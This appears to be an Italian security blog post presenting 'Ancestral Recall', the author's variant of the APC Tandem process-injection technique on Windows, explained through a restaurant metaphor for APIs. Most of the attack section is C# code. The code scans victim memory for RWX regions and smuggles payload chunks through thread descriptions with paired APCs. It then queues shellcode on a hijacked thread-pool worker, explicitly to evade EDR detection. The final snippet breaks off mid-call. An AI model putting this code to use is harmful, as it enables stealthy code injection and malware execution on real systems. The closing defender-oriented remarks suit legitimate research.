Categories: Attack, Hacking, News19.4 min read

Ancestral Recall: APC Tandem

Draw 3 cards or force opponent to draw 3 cards 

Preambolo

Partendo dai principi teorici dell’APC Tandem, nel seguente articolo, ho sviluppato un adattamento personale, finalizzato a perfezionare ulteriormente l’evasione dei moderni sistemi di rilevamento. Ho deciso di ribattezzare questa specifica variante dell’attacco “Ancestral Recall” (come la celebre carta del gioco Magic: The Gathering).

La scelta di questa nomenclatura non è puramente stilistica, ma riflette l’esatta natura architetturale del bypass:

  • Ancestral (Ancestrale): Evidenzia il ritorno alle fondamenta del sistema operativo. Per aggirare la telemetria, la tecnica abbandona le moderne API di alto livello in favore di primitive di basso livello.
  • Recall (Richiamo): Descrive il cuore del meccanismo di innesco. Invece di forzare esplicitamente l’esecuzione del codice (come avviene con un Remote Thread), il processo vittima viene manipolato tramite l’accodamento di istruzioni asincrone (APC) affinché sia lui stesso a “richiamare” (recall) autonomamente il payload in memoria.

Introduzione

Nei moderni sistemi operativi, il principio di isolamento dei processi garantisce che ciascun applicativo in esecuzione disponga di uno spazio di indirizzamento virtuale privato e, di norma, inaccessibile ad altre entità. Sebbene questo paradigma costituisca il fondamento imprescindibile per la sicurezza e la stabilità dell’architettura, ecosistemi complessi come Microsoft Windows devono necessariamente esporre specifiche interfacce di programmazione (API). Tali interfacce, originariamente concepite per garantire l’interoperabilità e la diagnostica di sistema, introducono tuttavia un’eccezione controllata al paradigma dell’isolamento dei processi.

API sta per Application Programming Interface (Interfaccia di Programmazione delle Applicazioni). In parole povere, le API sono dei traduttori e dei messaggeri. Sono un insieme di regole, codici e comandi creati da chi sviluppa un sistema operativo (come per Microsoft Windows) per permettere ai programmi di parlare tra loro e, soprattutto, di usare le risorse del computer in modo sicuro.

Per visualizzare meglio questo concetto, immaginiamo di varcare la soglia di un ristorante e di accomodarci a un tavolo. In questo scenario, noi siamo un programma in esecuzione sul computer, come un videogioco o un elaboratore di testi, e il nostro scopo è ottenere un servizio, ad esempio salvare un documento.

La cucina del ristorante, nascosta dietro le porte a battente, è il sistema operativo Windows. Lì dentro ci sono i forni e gli ingredienti, che rappresentano l’hardware del computer come il disco rigido, il processore e la memoria RAM. Noi non possiamo e non abbiamo il permesso di alzarci, entrare in cucina e iniziare a maneggiare i fornelli. Se tutti i clienti potessero farlo, si creerebbe il caos totale, con un altissimo rischio di incidenti.

È esattamente qui che entra in scena il cameriere, la perfetta incarnazione dell’API di Windows.

[1_API_metafora].jpg

[1_API_metafora]

Il cameriere è l’intermediario a cui facciamo le nostre richieste consultando un menù, che in informatica corrisponde alla documentazione ufficiale, ovvero l’elenco rigoroso dei comandi consentiti. Quando siamo pronti, chiamiamo il cameriere e gli ordiniamo di compiere un’azione al posto nostro. Lui prende la comanda, si assicura che l’ordine sia valido e si dirige in cucina. Noi non abbiamo bisogno di sapere a quale temperatura verranno impostati i forni per preparare il nostro “piatto”, né in quale settore fisico del disco rigido verranno salvati i nostri dati. Aspettiamo semplicemente al tavolo. 

La cucina riceve l’ordine dal cameriere, svolge tutto il lavoro a basso livello e, una volta terminato, consegna il risultato. Il cameriere torna al nostro tavolo e ci serve il piatto finito. Attraverso questa precisa dinamica, noi otteniamo esattamente ciò di cui abbiamo bisogno per funzionare, mantenendo al contempo il sistema operativo isolato, sicuro ed efficiente.

Process Injection

Tale prerogativa architetturale costituisce il fondamento della Process Injection, una famiglia di tecniche mediante le quali un attore malevolo è in grado di forzare l’esecuzione di codice arbitrario all’interno dello spazio di memoria di un processo target legittimo, al fine di evadere i meccanismi di rilevamento ed ereditare i privilegi e il livello di trust associati al processo ospite.

La metodologia implementativa più consolidata in letteratura si articola in una sequenza di 4 funzioni specifiche: OpenProcess, VirtualAllocEx, WriteProcessMemory e CreateRemoteThread.

Questa catena esecutiva delinea un flusso operativo rigoroso: l’acquisizione di un handle con i necessari permessi sul processo bersaglio, l’allocazione di un segmento di memoria dedicato, l’iniezione del payload e, infine, l’attivazione dell’esecuzione tramite la generazione di un thread remoto.

1. OpenProcess

[2_OpenProcess]

[2_OpenProcess]

Quando invochiamo questa funzione, non stiamo ancora manipolando la memoria. Stiamo semplicemente inoltrando una richiesta a Windows per ottenere un handle: un vero e proprio “lasciapassare” logico che ci autorizza a comunicare con il processo target.

Per ricevere questo pass, non ci basta indicare al sistema l’identificativo del programma da colpire (il PID). Dobbiamo dichiarare in anticipo il nostro “intento”, definendo i cosiddetti Access Rights. È in questa fase che si gioca la prima partita a scacchi contro i sistemi di difesa (EDR): chiedere un accesso totale e indiscriminato al processo è una mossa rumorosa che farà scattare immediatamente l’allarme. Un approccio chirurgico e silenzioso, invece, richiederà solo il set minimo di permessi strettamente necessari per iniettare il nostro codice.

Il sistema operativo a questo punto valuta la nostra richiesta. Se i controlli di sicurezza vengono superati, Windows ci consegna l’handle valido. In quell’esatto momento, il confine di isolamento tra i due processi viene formalmente e legittimamente bypassato, aprendoci la strada per la fase successiva: fare spazio in memoria.

2. VirtualAllocEx

[3_VirtualAllocEx]

[3_VirtualAllocEx]

Ottenuto il lasciapassare logico, ci serve uno spazio fisico per il nostro codice. Qui interviene VirtualAllocEx, l’API che permette di allocare, ovvero “ritagliare”, una porzione di memoria direttamente all’interno del processo bersaglio.

Per farlo, dobbiamo indicare al sistema la dimensione del payload e, soprattutto, i permessi di accesso per questa nuova area. Anche in questo caso, la scelta determina la nostra visibilità di fronte agli EDR. Un approccio ingenuo richiede da subito permessi totali: RWX (Read, Write, Execute). Tuttavia, un blocco di memoria che sia contemporaneamente scrivibile ed eseguibile rappresenta una grave anomalia architetturale, facendo scattare immediatamente l’allarme.

Le tecniche di iniezione più avanzate ed evasive, al contrario, allocano inizialmente lo spazio con i soli permessi di lettura e scrittura (RW), un’operazione del tutto standard, rimandando l’autorizzazione all’esecuzione a un momento successivo.

A operazione conclusa, l’API ci restituisce un indirizzo di base, ovvero le coordinate esatte del nostro nuovo blocco di memoria all’interno della vittima. Il terreno è finalmente preparato: siamo pronti per la fase di scrittura.

3. WriteProcessMemory

[4_WriteProcessMemory]

[4_WriteProcessMemory]

Con lo spazio allocato e le coordinate esatte a nostra disposizione, il passaggio successivo è il trasferimento materiale del codice. A questo provvede WriteProcessMemory.

Questa API ha un compito tanto lineare quanto cruciale: copiare il nostro payload all’interno dell’area di memoria appena “ritagliata” nel processo vittima. Per funzionare, richiede il nostro handle, l’indirizzo di destinazione (restituito da VirtualAllocEx) e, naturalmente, i byte che compongono il codice da iniettare.

Sotto il profilo difensivo, questo è il momento esatto in cui i dati attraversano il confine. Gli EDR moderni sorvegliano attivamente questo transito, intercettando l’API per analizzare il contenuto in cerca di firme note o pattern sospetti. Se il nostro codice è adeguatamente offuscato e supera questa ispezione, la scrittura va a buon fine.

A questo punto, il payload risiede fisicamente e clandestinamente nella memoria del bersaglio. Tuttavia, è ancora inerte, una semplice sequenza di byte dormienti. Manca solo l’innesco finale per attivarlo.

4. CreateRemoteThread

[5_CreateRemoteThread]

[5_CreateRemoteThread]

Con il payload fisicamente residente nello spazio del bersaglio, manca unicamente l’innesco esecutivo. Questo è l’esatto compito di Create Remote Thread.

Questa API ordina al sistema operativo di generare un nuovo thread di esecuzione all’interno del processo vittima, istruendolo ad avviarsi partendo precisamente dall’indirizzo di memoria in cui abbiamo copiato il nostro codice. È il momento critico in cui la sequenza di byte dormienti prende finalmente vita, ereditando l’identità e i privilegi dell’applicativo ospite.

Tuttavia, sotto il profilo difensivo, questa rappresenta in assoluto l’operazione più “rumorosa” dell’intera catena. L’avvio di un thread remoto da parte di un processo terzo è un comportamento architetturalmente rarissimo in contesti legittimi. Per un EDR moderno, l’invocazione di questa API equivale a una vera e propria pistola fumante, portando quasi sempre all’immediato blocco dell’azione.

Proprio per via di questo altissimo tasso di intercettazione, la sequenza didattica classica si ferma qui, mentre le varianti di iniezione più evolute ed evasive cercano di omettere del tutto questo passaggio, preferendo “dirottare” subdolamente thread già esistenti (come nella tecnica dell’APC Injection o del Thread Hijacking) piuttosto che generarne di nuovi.

APC Tandem

Il modello classico, basato sulla sequenza OpenProcess, VirtualAllocEx, WriteProcessMemory e CreateRemoteThread, opera secondo un approccio “diretto”. L’attaccante agisce come un agente esterno che forza esplicitamente l’apertura, l’allocazione e la scrittura nella memoria della vittima. Trattandosi di un pattern storicamente consolidato, i moderni sistemi, rilevano questa tipologia di attacco.

L’APC Tandem, al contrario, si fonda su un paradigma radicalmente diverso: il primitive-chaining (concatenazione di primitive). Invece di affidarsi ad API di alto livello adibite esplicitamente alla manipolazione remota della memoria, questa tecnica scompone l’attacco utilizzando funzioni di sistema di bassissimo livello (le “primitive”, appunto), originariamente progettate per la messaggistica interna o la diagnostica.

La differenza sostanziale tra i due metodi risiede nel meccanismo di inoculazione e di esecuzione. Mentre il metodo tradizionale forza il payload all’interno della vittima, l’APC Tandem agisce in modo indiretto. Sfruttando le Asynchronous Procedure Call (APC) ovvero dei meccanismi legittimi che permettono di accodare istruzioni in un thread .

Ma vediamo nel dettaglio come funziona questa tecnica.

Asynchronous Procedure Call nel dettaglio

Il nome “APC Tandem” descrive esattamente la meccanica architetturale alla base di questa tecnica di evasione, ed è composto da due elementi chiave.

APC (Asynchronous Procedure Call): è l’acronimo che indica la “Chiamata di Procedura Asincrona”. In Windows, si tratta di un meccanismo legittimo che permette al sistema operativo, o a un processo, di “mettere in coda” un’istruzione specifica e forzare un determinato thread a eseguirla in modo asincrono.

Tandem: Il termine (che richiama l’idea della bicicletta a due posti o di un’azione in coppia) viene utilizzato per indicare due elementi che operano in perfetta sequenza, uno dietro l’altro.

Il nome deriva dal fatto che, per aggirare l’uso dell’API di scrittura classica (WriteProcessMemory), l’attaccante non invia un’istruzione singola, ma accoda rigorosamente due APC “in tandem” per trasferire ogni singolo frammento del codice malevolo:

  1. La prima APC (basata su GetThreadDescription) forza la vittima a estrarre i dati nascosti e “materializzarli” in un’area temporanea della propria memoria.
  2. La seconda APC (basata su RtlMoveMemory) interviene immediatamente dopo per prendere quei dati dall’area temporanea e scriverli clandestinamente nello spazio di destinazione finale.

1 e 2. Accesso e Ricerca (Bypass di VirtualAllocEx)

Anziché richiedere l’allocazione ex novo di un blocco di memoria scrivibile ed eseguibile (una palese anomalia architetturale immediatamente intercettata dai moderni EDR) l’attaccante enumera lo spazio di indirizzamento della vittima tramite l’API VirtualQueryEx. L’obiettivo strategico è individuare una regione preesistente già dotata di permessi RWX (Read, Write, Execute) e riadattarla a “repository” per il payload.

// Struttura che descrive una singola regione di memoria del processo remoto 
[StructLayout(LayoutKind.Sequential)] 
struct MEMORY_BASIC_INFORMATION { 
    public IntPtr BaseAddress; 
    public IntPtr AllocationBase; 
    public uint   AllocationProtect; 
    public IntPtr RegionSize; 
    public uint   State;    // MEM_COMMIT   = 0x1000 
    public uint   Protect;  // PAGE_EXECUTE_READWRITE = 0x40 
    public uint   Type;     // MEM_PRIVATE  = 0x20000 
} 
 
[DllImport("kernel32.dll")] 
static extern int VirtualQueryEx( 
    IntPtr hProcess, IntPtr lpAddress, 
    out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength); 
 
// Scansione: nessuna allocazione, solo lettura del layout di memoria 
static IntPtr FindExistingRwxRegion(IntPtr hProcess, uint minSize) 
{ 
    IntPtr addr = IntPtr.Zero; 
    var    mbi  = new MEMORY_BASIC_INFORMATION(); 
 
    while (VirtualQueryEx(hProcess, addr, out mbi, (uint)Marshal.SizeOf(mbi)) != 0) 
    { 
        if (mbi.Protect == 0x40   &&   
            mbi.State   == 0x1000 &&    
            mbi.Type    == 0x20000 &&   
            (ulong)mbi.RegionSize.ToInt64() >= minSize) 
        { 
            return mbi.BaseAddress;  
        } 
        addr = new IntPtr(mbi.BaseAddress.ToInt64() + mbi.RegionSize.ToInt64()); 
    } 
    return IntPtr.Zero; 
} 
 
// Logica di decisione: riutilizza se disponibile, alloca solo come fallback 
IntPtr rwxBase = FindExistingRwxRegion(hProcess, (uint)payload.Length); 
 
if (rwxBase == IntPtr.Zero) 
    rwxBase = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)payload.Length, 
                             0x3000,   // MEM_COMMIT | MEM_RESERVE 
                             0x40);    // PAGE_EXECUTE_READWRITE (fallback)
[6_Fase1e2_Accesso&Ricerca]

 [6_Fase1e2_Accesso&Ricerca]

3. Scrittura (Bypass di WriteProcessMemory)

Questo è il fulcro dell’evasione: nessun byte del payload attraversa mai WriteProcessMemory. Il codice malevolo viene suddiviso in frammenti ed inserito in un campo apparentemente innocuo: la descrizione testuale del thread, accessibile tramite NtSetInformationThread con classe 0x26 (ThreadNameInformation). Questo campo è una struttura UNICODE_STRING interna al kernel.

Successivamente, l’attaccante accoda due istruzioni asincrone (APC Asynchronous Procedure Call) direttamente nel processo vittima:

  • La prima (GetThreadDescription) forza il processo vittima a leggere la propria descrizione di thread: il kernel alloca autonomamente un buffer interno, vi copia i byte ed inserisce il puntatore in un’area condivisa. Nessun dato attraversa il confine di processo tramite API di scrittura classiche.
  • La seconda (RtlMoveMemory) sposta quei byte dall’area condivisa verso la regione RWX trovata nella fase precedente.
// Struttura UNICODE_STRING (kernel NT), necessaria per NtSetInformationThread 
[StructLayout(LayoutKind.Explicit, Size = 16)] 
struct UNICODE_STRING { 
    [FieldOffset(0)] public ushort Length; 
    [FieldOffset(2)] public ushort MaximumLength; 
    [FieldOffset(8)] public IntPtr Buffer; 
} 
 
[DllImport("ntdll.dll")] 
static extern int NtSetInformationThread( 
    IntPtr ThreadHandle, 
    uint   ThreadInformationClass,  // 0x26 = ThreadNameInformation 
    IntPtr ThreadInformation, 
    uint   ThreadInformationLength); 
 
[DllImport("ntdll.dll")] 
static extern int NtQueueApcThreadEx2( 
    IntPtr ThreadHandle, IntPtr UserApcReserveHandle, 
    uint   QueueUserApcFlags,       // 0x1 = SPECIAL_USER_APC (build 19603+) 
    IntPtr ApcRoutine, 
    IntPtr SystemArgument1, IntPtr SystemArgument2, IntPtr SystemArgument3); 
 
// Risoluzione runtime degli indirizzi delle funzioni APC nel processo vittima 
IntPtr fnGetThreadDesc = GetProcAddress(GetModuleHandle("kernel32.dll"), 
                                        "GetThreadDescription"); 
IntPtr fnRtlMoveMemory = GetProcAddress(GetModuleHandle("ntdll.dll"), 
                                        "RtlMoveMemory"); 
 
for (int offset = 0; offset < payload.Length; offset += CHUNK_SIZE) 
{ 
    byte[] chunk = new byte[Math.Min(CHUNK_SIZE, payload.Length - offset)]; 
    Array.Copy(payload, offset, chunk, 0, chunk.Length); 
 
    // Passo 1: Inietta il chunk nella Thread Description (covert channel kernel) 
    int evenLen = (chunk.Length % 2 == 0) ? chunk.Length : chunk.Length + 1; 
    GCHandle pin = GCHandle.Alloc(chunk, GCHandleType.Pinned); 
    UNICODE_STRING us; 
    us.Length        = (ushort)evenLen; 
    us.MaximumLength = (ushort)(evenLen + 2); 
    us.Buffer        = pin.AddrOfPinnedObject(); 
    GCHandle usPin = GCHandle.Alloc(us, GCHandleType.Pinned); 
    NtSetInformationThread(hThread, 0x26, usPin.AddrOfPinnedObject(), 16); 
    usPin.Free(); pin.Free(); 
 
    // Passo 2: APC #1: GetThreadDescription nel processo vittima 
    // Il kernel alloca il buffer internamente e ne scrive il puntatore 
    // nell'area mailbox: zero byte transitano via WriteProcessMemory 
    NtQueueApcThreadEx2(hThread, IntPtr.Zero, 
        0x1,               
        fnGetThreadDesc, 
        hThread,           
        mailboxAddr,       
        IntPtr.Zero); 
 
    // Passo 3: Attesa mailbox: si popola quando l'APC viene servita 
    IntPtr kernelBuf = IntPtr.Zero; 
    while (kernelBuf == IntPtr.Zero) { 
        ReadProcessMemory(hProcess, mailboxAddr, ref kernelBuf, 8, out _); 
        Thread.Sleep(50); 
    } 
 
    // Passo 4: APC #2: RtlMoveMemory nel processo vittima 
    // Trasferisce i byte dal buffer kernel alla regione RWX finale 
    // Nessuna WriteProcessMemory: è il processo vittima ad autoiniettarsi 
    NtQueueApcThreadEx2(hThread, IntPtr.Zero, 
        0x1,                                           
        fnRtlMoveMemory, 
        new IntPtr(rwxBase.ToInt64() + offset),        
        kernelBuf,                                     
        new IntPtr(chunk.Length));                     
}
[7_Fase3_Scrittura].png

[7_Fase3_Scrittura]

4. Innesco (Bypass diCreateRemoteThread)

Generare un thread da zero è un’azione “rumorosa”: i sistemi di rilevamento moderni enumerano e analizzano ogni nuovo thread in tempo reale. La tecnica APC Tandem aggira questo controllo: invece di creare un thread, ne dirotta uno già in esecuzione all’interno del processo vittima.

Il bersaglio ideale è un thread pool worker, riconoscibile perché trascorre la maggior parte del proprio ciclo di vita in attesa di essere ingaggiato, all’interno di NtWaitForWorkViaWorkerFactory.

UThread Pool Worker è una “catena” di esecuzione pre-creata dal sistema operativo e tenuta in attesa all’interno di un “bacino” condiviso (pool). 

Serve a evitare l’enorme spreco di risorse necessario per creare e distruggere nuovi thread a ogni singola operazione, prendendo subito in carico i compiti in coda. 

Una volta concluso il suo lavoro, il worker non viene eliminato, ma ritorna nel pool pronto per essere riciclato all’istante per l’incarico successivo.

Questa attesa è per natura alterabile, il threadaccetta volontariamente di essere interrotto per eseguire procedure asincrone accodate. È sufficiente accodare la shellcode come APC su uno di questi thread tramite QueueUserAPC: al successivo ciclo di wait, il thread eseguirà il payload come se fosse legittimo, senza che venga mai creato un nuovo thread visibile al sistema. 

[DllImport("kernel32.dll", SetLastError = true)] 
static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); 
 
// Enumera tutti i thread del processo e apri un handle per ognuno 
var handles = new List<IntPtr>(); 
foreach (ProcessThread pt in targetProc.Threads) 
{ 
    IntPtr h = OpenThread(THREAD_ALL_ACCESS, false, (uint)pt.Id); 
    if (h != IntPtr.Zero) handles.Add(h); 
} 
 
// Il thread creato per ultimo è tipicamente un thread pool worker 
// (NtWaitForWorkViaWorkerFactory , alterabile per definizione) 
IntPtr execThread = handles[handles.Count - 1]; 
 
// Accoda la shellcode come APC: il thread la eseguirà al prossimo wait. 
// Nessun CreateRemoteThread, nessun nuovo thread enumerabile dagli EDR. 
uint result = QueueUserAPC( 
    rwxBase,       // entry point: indirizzo della shellcode nella regione RWX 
    execThread,    // thread pool worker del processo vittima
[8_Fase4_Innesco]

[8_Fase4_Innesco]

Tecniche come l’APC Tandem non sono solo esercizi di evasion, ma rappresentano un avvertimento cruciale per chi progetta e gestisce i sistemi di difesa. Dimostrano inequivocabilmente che il confine tra un’azione di routine e un’operazione malevola è sempre più sottile e sfumato. Per contrastare minacce di questa portata, le moderne soluzioni EDR non possono più limitarsi a presidiare i singoli “colli di bottiglia” architetturali. Sono chiamate a un’evoluzione necessaria verso un’analisi comportamentale olistica, capace di correlare eventi apparentemente innocui e di scansionare dinamicamente le anomalie nello stato della memoria, indipendentemente dall’API utilizzata per manipolarla.

In definitiva, l’isolamento dei processi rimane il pilastro fondamentale su cui si regge l’architettura di Windows. Tuttavia, finché il sistema operativo dovrà necessariamente esporre interfacce per garantire l’interoperabilità, la diagnostica e l’efficienza, esisteranno sempre tecniche in grado di sfruttare funzionalità lecite ed apparentemente innocue nel perfetto vettore di attacco.

Go to Top